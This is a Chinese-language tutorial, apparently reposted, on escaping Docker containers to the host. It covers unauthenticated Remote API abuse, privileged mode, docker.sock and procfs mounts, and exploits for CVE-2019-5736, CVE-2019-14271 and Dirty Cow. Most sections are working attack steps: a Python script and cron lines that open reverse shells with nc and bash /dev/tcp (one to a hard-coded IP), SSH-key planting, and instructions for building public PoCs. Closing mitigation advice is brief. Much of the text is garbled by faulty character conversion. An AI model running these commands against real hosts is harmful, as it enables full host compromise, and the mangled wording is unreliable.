天天看點

基于網絡安全的Docker逃逸

作者:KaliMa

如何判斷目前機器是否為Docker容器環境

Metasploit中的checkcontainer子產品、(判斷是否為虛拟機,checkvm子產品)

搭配學習教程

基于網絡安全的Docker逃逸

1. 檢查根目錄下是否存在.dockerenv檔案

基于網絡安全的Docker逃逸
基于網絡安全的Docker逃逸

2. 檢查/proc/1/cgroup是否存在還有docker字元串

基于網絡安全的Docker逃逸
基于網絡安全的Docker逃逸
cat /proc/1/cgroup
           
基于網絡安全的Docker逃逸

【一一幫助安全學習,所有資源關注我,私信回複“資料”擷取一一】

①網絡安全學習路線

②20份滲透測試電子書

③安全攻防357頁筆記

④50份安全攻防面試指南

⑤安全紅隊滲透工具包

⑥網絡安全必備書籍

⑦100個漏洞實戰案例

⑧安全大廠内部視訊資源

⑨曆年CTF奪旗賽題解析

3. 檢查是否存在container環境變量

通過env\PATH來檢查是否有docker相關的環境變量,來進一步判斷

4. 其他檢測方式

如檢測mount、fdisk -l檢視硬碟、判斷PID 1的程序名等也可用來輔助判斷

Docker逃逸方式

1. 危險的配置導緻Docker逃逸

由于"縱深防禦" 和 "最小權限"等理念和原則落地,越來越難以直接利用漏洞來進行利用。另一方面,公開的漏洞,安全運維人員能夠及時将其修複,當然,不免存在漏網之魚。相反,更多的是利用錯誤的、危險的配置來進行利用,不僅僅Docker逃逸,其他漏洞也是,比如生産環境開啟Debug模式導緻漏洞利用等等。

Docker已經将容器運作時的Capabilities黑名單機制改為如今的預設禁止所有Capabilities,再以白名單方式賦予容器運作所需的最小權限

docket remote api未授權通路導緻逃逸

docker swarm是管理docker叢集的工具。主從管理、預設通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTP、Python、調用API來操作Docker

Docker Remote API的端口2375端口

通路http://your-ip:2375/version

火狐打開如下,證明存在未授權通路漏洞

基于網絡安全的Docker逃逸

在kali上開啟nc監聽本地端口,用來接收反彈shell

反彈Shell exp:

import docker 
client = docker.DockerClient(base_url='http://your-ip:2375/') 
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
           

執行腳本,shell會反彈到kali主機上

Github上的exp:https://github.com/Tycx2ry/docker_api_vul

基于網絡安全的Docker逃逸

另一種方式

首先通路http://your-ip:2375/version

基于網絡安全的Docker逃逸

通路http://ip:2375/containers/json

基于網絡安全的Docker逃逸

建立一個包,得到傳回的exec_id的參數,資料包内容如下:

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
           
基于網絡安全的Docker逃逸

注意其中的cmd字段,這個就是要執行的指令。

得到exec_id參數後構造第二個exec_start資料包,内容如下

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
​
{
“Detach”: false,
“Tty”: false
}
           
基于網絡安全的Docker逃逸

到此成功擷取到docker主機的指令執行權限,但是還沒有逃逸到主控端

在docker容器中安裝docker做為client(kali中有的話就不需要了)

apt-get install docker.io`
`yum -y install docker
           

檢視主控端的docker image資訊

docker -H tcp://主控端ip:2375 images
           

啟動一個容器并且将主控端的根目錄裝到容器内的某個目錄

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash 
           

上述指令的意思是将主控端的根目錄挂在到容器adafef2e596e的/test目錄下

寫一個計劃任務反彈shell(或者寫.ssh公鑰都OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
           

在vps上使用nc指令等待反彈過來的shellnc -lvp 8888

Docker高危啟動參數–privileged 特權模式啟動容器

使用特權模式啟動容器,可以擷取大量裝置檔案通路權限。因為當管理者執行docker run —privileged時,Docker容器将被允許通路主機上的所有裝置,并可以執行mount指令進行挂載。

當操作者執行docker run --privileged時,Docker将允許容器通路主控端上的所有裝置,同時修改AppArmor或SELinux的配置,使容器擁有與那些直接運作在主控端上的程序幾乎相同的通路權限。

特權模式啟動一個Ubuntu容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

進入容器

使用fdisk指令檢視磁盤檔案:

fdisk -l

基于網絡安全的Docker逃逸

在特權模式下,逃逸的方式很多,比如:直接在容器内部挂載主控端磁盤,然後切換根目錄。

mkdir /test
mount /dev/vda1 /test
           

建立一個目錄:mkdir /test 挂載磁盤到建立目錄:mount /dev/vda1 /test 切換根目錄:chroot /test 到這裡已經成功逃逸了,然後就是正常的反彈shell 和 寫 SSH 了(和redis未授權差不多)

基于網絡安全的Docker逃逸

寫計劃任務,反彈主控端Shell。

echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要寫SSH的話,需要挂載主控端的root目錄到容器。

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys

然後ssh 私鑰登入。

其他參數: Docker 通過Linux namespace實作6項資源隔離,包括主機名、使用者權限、檔案系統、網絡、程序号、程序間通訊。但部分啟動參數授予容器權限較大的權限,進而打破了資源隔離的界限。

--cap-add=SYS_ADMIN 啟動時,允許執行mount特權操作,需獲得資源挂載進行利用

--net=host 啟動時,繞過Network Namespace

--pid=host 啟動時,繞過PID Namespace

--ipc=host 啟動時,繞過IPC Namespace

2. 危險挂載導緻Docker逃逸

挂載目錄(-v /:/soft)

docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
           

挂載Docker Socket

Docker采用C/S架構,我們平常使用的Docker指令中,docker即為client,Server端的角色由docker daemon扮演,二者之間通信方式有以下3種:

  • unix:///var/run/docker.sock(預設
  • tcp://host:port
  • fd://socketfd

Docker Socket是Docker守護程序監聽的Unix域套接字,用來與守護程序通信——查詢資訊或下發指令。

逃逸複現:

  1. 首先建立一個容器并挂載/var/run/docker.sock; docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  2. 在該容器内安裝Docker指令行用戶端;
apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg)| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/)\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
           
  1. 接着使用該用戶端通過Docker Socket與Docker守護程序通信,發送指令建立并運作一個新的容器,将主控端的根目錄挂載到新建立的容器内部;docker run -it -v /:/host ubuntu:18.04 /bin/bash
  2. 在新容器内執行chroot将根目錄切換到挂載的主控端根目錄。 已成功逃逸到主控端。
基于網絡安全的Docker逃逸
基于網絡安全的Docker逃逸

挂載主控端procfs

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
           

為了區分,挂載到容器的/host/目錄下

procfs是一個僞檔案系統,它動态反映着系統内程序及其他元件的狀态,其中有許多十分敏感重要的檔案。是以,将主控端的procfs挂載到不受控的容器中也是十分危險的,尤其是在該容器内預設啟用root權限,且沒有開啟User Namespace時

從2.6.19核心版本開始,Linux支援在/proc/sys/kernel/core_pattern中使用新文法。如果該檔案中的首個字元是管道符|,那麼該行的剩餘内容将被當作使用者空間程式或腳本解釋并執行。

Docker預設情況下不會為容器開啟User Namespace根據參考資料1,一般情況下不會将主控端的procfs挂載到容器中,然而有些業務為了實作某些特殊需要,還是會有。 一些細節原理看參考資料1哈,這裡專注于利用。 複現:“在挂載procfs的容器内利用core_pattern後門實作逃逸“ 利用思路:攻擊者進入到挂載了主控端profs的容器,root權限,然後向主控端的procfs寫Payload

3. 程式漏洞導緻Docker逃逸

runC容器逃逸漏洞CVE-2019-5736

漏洞簡述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,是以允許攻擊者重寫主控端上的runc 二進制檔案,攻擊者可以在主控端上以root身份執行指令。

即通過在docker容器中重寫和運作主機系統的runc二進制檔案達到逃逸的目的 利用條件: Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情況下,可通過 docker 和docker-runc 檢視目前版本情況。

利用步驟:

基于網絡安全的Docker逃逸

版本合适的情況下去嘗試

首先我們要有一個docker下的shell,第二步利用腳本中的反彈shell指令,第三步使用go build來編譯腳本,第四步将腳本上傳到docker中,第五步等待主控端執行exec進入目前docker容器的時候,主控端就會向我們的vps反彈root權限的shell

下載下傳pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitPoC修改Payloadvi main.go

選中部分修改\n後面的指令為反彈shell指令即可payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

基于網絡安全的Docker逃逸

編譯生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go拷貝到docker容器中執行sudo docker cp ./main 248f8b7d3c45:/tmp

也可以先上傳到github上,用git clone指令下載下傳。或者上傳到vps上,然後在vps上用python開啟一個http服務,再用wget下載下傳即可

執行此腳本,然後等待主控端使用者進入這個容器中

docker exec -it test /bin/bash

上面指令的含義是進入test這個容器,當主控端上執行exec指令來進入我們運作了腳本的容器的時候,主控端就會反彈root權限的shell給我們的vps的監聽端口,至此利用結束。

如果沒有人在主控端執行的話是無法docker逃逸的

Docker cp指令容器逃逸攻擊漏洞CVE-2019-14271

漏洞描述:

當Docker主控端使用cp指令時,會調用輔助程序docker-tar,該程序沒有被容器化,且會在運作時動态加載一些libnss.so庫。黑客可以通過在容器中替換libnss.so等庫,将代碼注入到docker-tar中。當Docker使用者嘗試從容器中拷貝檔案時将會執行惡意代碼,成功實作Docker逃逸,獲得主控端root權限。 影響版本: Docker 19.03.0

漏洞原理

Copy指令允許從容器複制檔案。複制檔案到容器以及在容器之間複制檔案。它的文法和标準Unix的cp指令非常相似。如果從容器中複制/var/logs/,需要使用的文法為:

docker cp container_name:/var/logs /some/host/path.

把檔案複制到容器外,docker需要借助一個名為docker-tar的幫助程序

基于網絡安全的Docker逃逸

docker-tar的工作原理是對檔案進行chroot,将請求的檔案和目錄放在其中,然後将其生成的tar檔案傳遞回Docker的守護程式,該守護程式負責将其提取到主控端的目标目錄中。

CHROOT就是Change Root,也就是改變程式執行時所參考的根目錄位置

Docker-tar chroot進入容器:

基于網絡安全的Docker逃逸

選擇chroot的方式,有一個主要原因是為了避免符号連結問題,當主機程序嘗試通路容器上的檔案時,可能會産生符号連結的問題。在這些檔案中,如果包含符号連結,那麼可能會在無意中将其解析為主機根目錄。這就為攻擊者控制的容器敞開了大門,使得攻擊者可以嘗試讓docker cp在主控端而非容器上讀取和寫入檔案

有漏洞的版本使用Go v1.11編譯而成的

這個版本中的一些包含嵌入式C語言代碼的軟體包(cgo)在運作時會加載動态共享庫

這些軟體包包括net和os/user,都會被docker-tar使用,它們會在運作時加載多個libnss_*.so庫。

通常,這些庫會從主控端的檔案系統中加載,但是由于docker-tar會chroots到容器中,是以它會從容器檔案系統中加載庫。這也就意味着,docker-tar将加載并執行由容器發起和控制的代碼。

需要說明的是,除了被chroot到容器檔案系統之外,docker-tar并沒有被容器化。它運作在主控端的命名空間中,具有所有root能力,并且不會受到cgroups或seccomp的限制。

有一種可能的攻擊場景,是Docker使用者從以下任一使用者的位置複制一些檔案:

  1. 運作包含惡意libnss_*.so庫中惡意映像的容器;
  2. 受到攻擊的容器,且攻擊者替換了其中的libnss_*.so庫

在這兩種情況時,攻擊者都可以在主控端上實作root權限的任意代碼執行。

利用思路

  1. 找出docker-tar具體會加載那些容器内的動态連結庫
  2. 下載下傳對應動态連結庫源碼,為其增加一個attribute((constructor))屬性的函數run_at_link(該屬性意味着在動态連結庫被程序加載時,run_at_link函數會首先被執行),在run_at_link函數中放置我們希望docker-tar執行的攻擊載荷(payload);編譯生成動态連結檔案
  3. 編寫輔助腳本”/breakout“,将輔助腳本和步驟二生成的惡意動态連結庫放入惡意容器,等待使用者執行docker cp指令,觸發漏洞

4. Dirty Cow核心漏洞導緻Docker逃逸

Dirty Cow(CVE-2016-5195)髒牛漏洞實作Docker 逃逸

前置知識

  1. VDSO其實就是将核心中的.so檔案映射到記憶體中,.so檔案是基于Linux下的動态連結,其功能和作用類似于Windows下的.dll檔案
  2. 在Linux中,有一個功能:VDSO(virtual dvnamic shared object),這是一個小型共享庫,能夠将核心自動映射到所有使用者程式的位址空間,可以了解成将核心中的函數映射到記憶體中,友善大家通路

Dirty cow漏洞可以讓我們擷取隻讀記憶體的寫的權限,我們首先利用dirty cow漏洞寫入一段shellcode到VDSO映射的一段閑置記憶體中,然後改變函數的執行順序,使得調用正常的任意函數之前都要執行這段shellcode。這段shellcode初始化的時候會檢查是否被root調用,如果是則繼續執行,如果不是,則接着執行clock_gettime函數,接下來它會檢測/tmp/.X檔案的存在,如果存在,則這時已經是root權限了,然後它會打開一個反向的TCP連結,為Shellcode中填寫的ip傳回一個Shell。

//這種利用方法利用成功的前提是,主控端的核心有Dirty Cow漏洞

Dirty Cow(CVE-2016-5195)是Linux核心中的權限提升漏洞,通過它可實作Docker容器逃逸,獲得root權限的shell。

Docker 與 主控端共享核心,是以容器需要在存在dirtyCow漏洞的主控端裡。

利用過程

下載下傳腳本

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
           
基于網絡安全的Docker逃逸
./0xdeadbeef #反彈shell到本地主機
./0xdeadbeef ip:port #反彈shell到指定主機的指定端口
           

利用結果

直接反彈主控端的shell到127.0.0.1

基于網絡安全的Docker逃逸

docker 逃逸成功

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆寫CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 叢集版本>1.12

4、Linux核心版本>=2.6.22——CVE-2016-5195(髒牛)

5、Linux核心版本>=4.14——CVE-2017–1000405(大髒牛),未找到docker逃逸利用過程,但存在逃逸風險

6、不建議以root權限運作Docker服務

7、不建議以privileged(特權模式)啟動Docker

8、不建議将主控端目錄挂載至容器目錄

9、不建議将容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container程序允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險

基于網絡安全的Docker逃逸

#總結

Docker逃逸在滲透測試中面向的場景大概是這樣,滲透拿到shell後,發現主機是docker環境,要進一步滲透,就必須逃逸到“直接主控端”。甚至還有實體機運作虛拟機,虛拟機運作Docker容器的情況。那就還要虛拟機逃逸了。是以本文給大家介紹的就是如何判斷目前環境是否為docker容器環境,其次通過幾種方式進行docker逃逸

繼續閱讀